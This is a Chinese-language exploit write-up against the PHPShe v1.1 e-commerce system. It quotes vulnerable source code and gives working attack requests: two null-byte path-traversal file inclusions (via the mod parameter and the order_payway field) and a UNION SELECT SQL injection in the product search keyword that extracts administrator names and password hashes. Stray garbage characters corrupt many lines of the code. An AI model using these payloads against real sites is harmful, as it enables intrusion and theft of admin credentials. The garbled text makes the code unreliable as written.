phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
" m4 I( }8 t* @: f' b% p& k1 Y1 m/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
. y# w$ L6 R9 H; v  z0×00 整体大概参数传输
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! s! g3 n2 e' Z' `, c! H( c6 y% l//common.php
6 z1 j# M7 D& Gif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
" @/ h: x: v) Y& l3 X6 t5 x!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
- D5 z/ u# [) R9 c, H4 d/ G& L# `- gelse {
  v6 o) k1 G3 o, w$ ], S!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
4 O& g+ j$ a; n5 }5 i5 j}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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6 i& {1 n2 K: Y( K5 _  ~8 S0×01 包含漏洞


//首页文件
- q% ~5 G; q9 a. S<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
+ T" {7 s) u  V  b0 winclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
$ L% t8 N7 h# s. O- B2 u//common 文件 第15行开始
8 v# S. a6 h; K; \( e& t) e' aurl路由配置
4 r8 e, J4 U# m8 `3 P& k$module = $mod = $act = 'index';
3 I- `2 h0 h1 H  j$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
9 V, w# c' [: w8 V- f6 _) r: y: l$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
/ a& k: ?+ e: C$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
, `( V4 a8 u8 C# }$ z$info = $db->pe_select('category', array('category_id'=>$category_id));
, Z' x  o/ L% a1 O5 h//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
# g7 M; F3 ?( j; m& L& v, Y$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' t7 {1 m  _; y, l9 S% _' p: Hif ($_g_orderby) {
9 V/ l; W4 e; {( s; E$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
0 {# d4 o; M6 B7 k. e}
else {
9 a) {8 J7 e: D) H. y$sqlwhere .= " order by `product_id` desc";
7 N3 T9 R, G8 S- x}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
# e. O6 g2 [8 r7 a9 E' x& D//当前路径
$nowpath = category_path($category_id);
( `3 V/ o/ Q% H. ^1 c# ]& v) S$seo = pe_seo($info['category_name']);
1 U. [/ U. b% A8 Hinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
9 B# o  l5 q* r( P, \) [$ Z* p, E/ \public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
6 T, I0 I2 N. u{
//处理条件语句
  k2 ^' X# }# S8 K" c$sqlwhere = $this->_dowhere($where);
" O9 w' h0 I# \5 h0 R( ~, lreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
( o. ]( ?1 x4 \! p: ?2 V# D6 M6 y}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

! Q# j: o/ G8 M. o! }$ S0 B0×03 包含漏洞2

, G1 V5 J; C0 K6 O; g- Y<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

9 G5 B, |4 C+ m+ Q( Y6 e4 q$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

3 [- W2 h) ^3 g. w" N$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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$ z% @# |* J, P}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

+ G& v" P7 {, B7 ~* @5 Z1 m% [( E!$order['order_id'] && pe_error('订单号错误...');

2 C# w) I- }/ y9 e& j! ?$ m1 `9 dif (isset($_p_pesubmit)) {

, }6 V" N! }! w$ g% T2 ]% {( Dif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

1 U  |1 h* j/ C5 ]3 Z. j# x! Oforeach ($info_list as $v) {

7 |1 x( e+ H' _: k5 O$order['order_name'] .= "{$v['product_name']};";

$ r+ [+ _% g# W5 V  |, W* n) w( e5 ^}

echo '正在为您连接支付网站，请稍后...';

& X, P% P: N$ [: X/ f% ainclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

; j  U. t1 a+ C, w1 ^$ j8 q}//当一切准备好的时候就可以进行"鸡肋包含了"

& O  C" Y2 J6 m1 |6 [else {

1 [$ |7 o  u3 D) M- h+ C9 Ape_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

1 r+ ~+ a: B. b% [include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>